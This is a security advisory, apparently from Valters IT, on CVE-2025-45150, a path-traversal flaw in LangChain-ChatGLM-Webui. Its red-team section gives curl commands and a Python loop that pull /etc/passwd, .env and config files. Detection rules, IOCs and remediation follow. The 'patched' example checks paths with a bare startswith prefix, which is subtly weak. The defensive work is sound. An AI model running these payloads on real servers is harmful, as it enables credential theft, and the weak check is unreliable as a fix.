CVE-2025-45150

Executive Summary

CVE-2025-45150 exposes a critical insecure permissions vulnerability in the LangChain-ChatGLM-Webui project at commit ef829. An unauthenticated attacker can craft a malicious request to arbitrarily view and download sensitive files from the server, including configuration files, credentials, and application source code. This flaw stems from missing access controls on file-serving endpoints, allowing directory traversal or direct file access without authentication. The vulnerability is publicly known, with proof-of-concept details available, but no official patch has been released. Immediate mitigation requires manual access control implementation or disabling the vulnerable component.

Supply Chain & Package Security

This vulnerability affects a Python-based web UI project (LangChain-ChatGLM-Webui). The project is not distributed via PyPI but is typically cloned from GitHub. Users should verify the integrity of their cloned repository and check for any unauthorized modifications. The lack of a patch means the supply chain risk is elevated—any deployment using commit ef829 or earlier is directly exploitable.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description and impact, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No write capability.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Score: 7.5 (High)

Threat Level: High – Publicly known, easy to exploit, and allows access to sensitive data.

Deep Dive & Mechanics

The vulnerability resides in the file-serving logic of LangChain-ChatGLM-Webui. The application likely exposes an endpoint (e.g., /files/, /static/, or a custom route) that serves files from the server's filesystem without proper path validation or authentication. By manipulating the request path (e.g., using ../ traversal or absolute paths), an attacker can read arbitrary files outside the intended directory.

Root Cause: The application fails to enforce access controls on file-serving endpoints. Specifically, it does not:

• Validate that the requested file is within an allowed directory.
• Require authentication for sensitive file access.
• Sanitize user-supplied paths to prevent directory traversal.

Attack Flow:

1. Attacker identifies the file-serving endpoint (e.g., /download?file= or /files/).
2. Attacker crafts a request with a path traversal payload: ../../../etc/passwd or C:\Windows\win.ini.
3. The server reads and returns the file content without restriction.
4. Attacker can then download configuration files (e.g., .env, config.json) containing API keys, database credentials, or other secrets.

Vulnerable vs. Patched Code

Vulnerable Code (commit ef829):

# app.py (hypothetical vulnerable endpoint)
@app.route('/files/<path:filename>')
def serve_file(filename):
    # No path validation or authentication
    return send_from_directory('uploads', filename)

Patched Code (hypothetical fix):

# app.py (patched version)
import os
from flask import abort, send_from_directory

ALLOWED_DIR = os.path.abspath('uploads')

@app.route('/files/<path:filename>')
def serve_file(filename):
    # Resolve the full path and ensure it's within ALLOWED_DIR
    requested_path = os.path.abspath(os.path.join(ALLOWED_DIR, filename))
    if not requested_path.startswith(ALLOWED_DIR):
        abort(403)  # Forbidden
    # Add authentication check
    if not session.get('authenticated'):
        abort(401)  # Unauthorized
    return send_from_directory(ALLOWED_DIR, filename)

Key Differences:

• Path Validation: Patched code resolves the absolute path and checks it starts with the allowed directory.
• Authentication: Patched code requires a valid session before serving files.
• Error Handling: Patched code returns proper HTTP error codes (401/403) instead of serving files.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running LangChain-ChatGLM-Webui at commit ef829.
• Network access to the web UI (e.g., http://target:5000).

Exploitation Steps:

1. Identify the file-serving endpoint. Common patterns:
   • /files/
   • /download?file=
   • /static/
2. Test for directory traversal:

   curl -v "http://target:5000/files/../../../etc/passwd"
   

3. If successful, download sensitive files:

   curl -o config.json "http://target:5000/files/../../../app/config.json"
   curl -o .env "http://target:5000/files/../../../.env"
   

4. Extract credentials and API keys from downloaded files.

Automated Exploit (Python):

import requests

target = "http://target:5000"
payloads = [
    "../../../etc/passwd",
    "../../../.env",
    "../../../app/config.json",
    "../../../proc/self/environ"
]

for payload in payloads:
    url = f"{target}/files/{payload}"
    response = requests.get(url)
    if response.status_code == 200:
        print(f"[+] Retrieved {payload}:")
        print(response.text[:500])

Blue Team (Defensive)

Detection:

• Monitor for requests containing ../ or ..\\ in URL paths.
• Alert on access to sensitive files (e.g., /etc/passwd, .env, config.json).
• Use WAF rules to block path traversal patterns.

Mitigation:

• Immediately restrict access to the file-serving endpoint using a reverse proxy (e.g., Nginx):

  location /files/ {
      deny all;
      return 403;
  }
  

• Implement authentication for all file access.
• Apply input validation to reject paths with .. or absolute paths.

Honeypot:

• Deploy a fake endpoint that logs attacker requests and blocks IPs after multiple attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with path traversal sequences (../, ..\\, %2e%2e%2f).
• Requests to /files/, /download, or /static with suspicious paths.
• Outbound connections from the server to unknown IPs (data exfiltration).

File IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, .env, config.json, settings.py.
• Modified application logs showing file read attempts.

Log IOCs:

• Web server logs with 200 responses to path traversal requests.
• Error logs showing FileNotFoundError or PermissionError for system files.

Detection Engineering

YARA Rule

rule CVE_2025_45150_LangChain_FileTraversal {
    meta:
        description = "Detects path traversal attempts targeting LangChain-ChatGLM-Webui"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-45150"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = ".env"
        $sensitive3 = "config.json"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2025-45150 LangChain-ChatGLM-Webui File Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against LangChain-ChatGLM-Webui
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains:
            - '/files/'
            - '/download'
            - '/static'
    condition: selection
falsepositives:
    - Legitimate file access within allowed directory
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45150 LangChain-ChatGLM-Webui File Traversal Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; content:"/files/"; http_uri; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by configuring the reverse proxy to block /files/, /download, and /static paths.
2. Apply access controls using a WAF or custom middleware to validate file paths.
3. Rotate all secrets (API keys, database passwords) that may have been exposed.

Long-Term Fix:

• Upgrade to a patched version of LangChain-ChatGLM-Webui once available.
• Implement proper authentication and authorization for all file access.
• Use a dedicated file server with strict access controls (e.g., MinIO with bucket policies).

Workaround:

• If the file-serving feature is not required, remove the endpoint entirely from the codebase.

Valters IT
Securing Digital Frontiers